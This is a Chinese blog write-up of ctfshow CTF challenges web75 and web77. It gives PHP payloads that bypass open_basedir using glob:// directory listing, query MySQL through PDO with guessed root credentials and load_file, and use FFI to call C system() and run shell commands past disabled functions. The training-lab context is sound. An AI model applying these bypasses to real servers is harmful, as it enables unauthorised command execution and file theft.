当前位置:网站首页>ctfshow web入门 命令执行web75-77
ctfshow web入门 命令执行web75-77
2022-06-26 10:36:00 【Make-1t-0r-d1e】
最近几天在刷ctfshow的web入门命令执行部分的练习题,学到了不少新姿势,简单记录一下自己对于最后几道题解题思路的理解
web75
由于存在open_basedir配置的限制,无法使用scandir函数列出目录信息,可以使用glob协议绕过open_basedir的限制,在根目录发现flag36.txt文件。
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().' ');
}exit();

本题还通过include_path限制了文件包含的路径,无法直接使用include包含得到flag信息,于是尝试使用uaf的方式绕过命令执行的限制,但是由于本题过滤了strlen,我也尝试了使用几种方法重写strlen函数,但是都没有执行成功,后续如果重写成功后会及时更新,因此参照提示信息使用PDO连接MySQL数据库的方式读取flag信息,payload如下。
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select database()");
foreach($rs as $row){
echo($row[0])."|";
}exit();
视频讲解中提到能够获取数据库名为ctftraining,但是我尝试使用蚁剑连接过滤不严格的题目环境,在登录mysql时始终出现段错误的情况,但是即便不知道数据库名为ctftraining,也可以通过连接默认数据库information_schema达到命令执行的目录,只需要猜解出mysql的用户名和密码即可。
通过连接默认数据库information_schema查询数据库名,发现确实存在名为ctftraining的数据库。
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();

使用load_file函数读取flag文件即可获取flag信息
web77
这道题仍然首先利用glob协议绕过open_basedir的限制,列出根目录下的所有文件,发现有两个可疑的文件,分别是flag36x.txt和readflag
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().' ');
}exit();

尝试沿用web75和76的思路,使用PDO连接MySQL数据库,然后使用load_file函数绕过文件读取的限制,读取flag,但是报 could not find driver的错误,表明此题无法使用PDO连接数据库。
查看writeup,此题利用的是PHP 7.4+的FFI特性,即外部函数接口特性,相关文档请查看PHP手册,这里我主要是对payload信息进行简单分析。
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
PHP手册中对FFI:cdef原型的描述为public static FFI::cdef(string $code = "", ?string $lib = null),其中$code为一个字符串,包含常规C语言中的一系列声明,$lib为要加载和链接的共享库文件名称,如果省略lib,则平台将会尝试在全局范围内查找代码中声明的符号,其他系统将无法解析这些符号。
起初我认为payload中第一行代码的含义是,在不提供$lib信息的情况下,则会默认调用PHP中的system函数,但是实际上int system(const char *command);即为C语言中system函数的定义,用于执行系统命令,也即在Linux平台下将/readflag > 1.txt使用shell进行解析并执行,因此猜测readflag可能是一个可执行文件。
- 使用FFI调用C语言中的
system函数列出根目录
c=$ffi = FFI::cdef("int system(const char *command);");
$a='ls / > 1.txt';
$ffi->system($a);exit();

- 尝试直接读取
/flag36x.txt,访问1.txt后没有任何内容
c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /flag36x.txt > 1.txt';
$ffi->system($a);exit();
- 尝试读取
/readflag文件,成功读取,为ELF可执行文件
c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /readflag > 1.txt';
$ffi->system($a);exit();

- 猜测
/flag36x.txt文件无法读取的原因为权限不足,列出根目录的文件权限信息,发现该文件对于其他用户并没有读的权限,而我们执行命令的用户为www-data,因此无法直接使用cat读取文件内容。
c=$ffi = FFI::cdef("int system(const char *command);");
$a='ls -lst / > 1.txt';
$ffi->system($a);exit();

- 使用IDA查看
/readflag可执行文件的内容,证实了之间的猜测
通过执行readflag文件即可获取flag信息
边栏推荐
- 代码规范 & 详细解释 husky、prettier、eslint、lint-staged 的作用和使用
- PC QQ hall upload update modify VersionInfo
- 【深度学习理论】(6) 循环神经网络 RNN
- Mqtt disconnect and reconnect
- flannel的host-gw与calico
- 一键部署ceph脚本
- 机器学习LDA——实验报告
- How does unity prevent other camera positions and rotations from being controlled by steamvrplugin when using steamvrplugin
- Laravel admin login add graphic verification code
- 我想知道,十大劵商如何开户?在线开户安全么?
猜你喜欢
随机推荐
Server single and two-way adjustable one key mutual trust script!
Sqli-labs靶场1-5
Laravel-admin 登录添加图形验证码
Laravel admin login add graphic verification code
(typora picture bed) Alibaba cloud OSS building picture bed +picgo uploading picture detailed tutorial
中国十大证券app排名 开户安全吗
I want to know whether flush is a stock market? Is it safe to open a mobile account?
Group by is used in laravel to group and query the quantity
Machine learning SVM - Experimental Report
Work report (3)
互联网对抗神器之漏洞扫描与反渗透
Will updating a large amount of data in Oracle cause the undo space to explode
(Typora图床)阿里云oss搭建图床+Picgo上传图片详细教程
Uncaught reflectionexception: class view does not exist
一键部署属于自己的社区论坛
Grain Mall - High Availability Cluster
Implementing MySQL master-slave replication in docker
PC QQ大廳 上傳更新 修改versionInfo
Prospering customs through science and technology, Ronglian and Tianjin Customs jointly build a genomic database and analysis platform
Wangeditor uploading local video modification









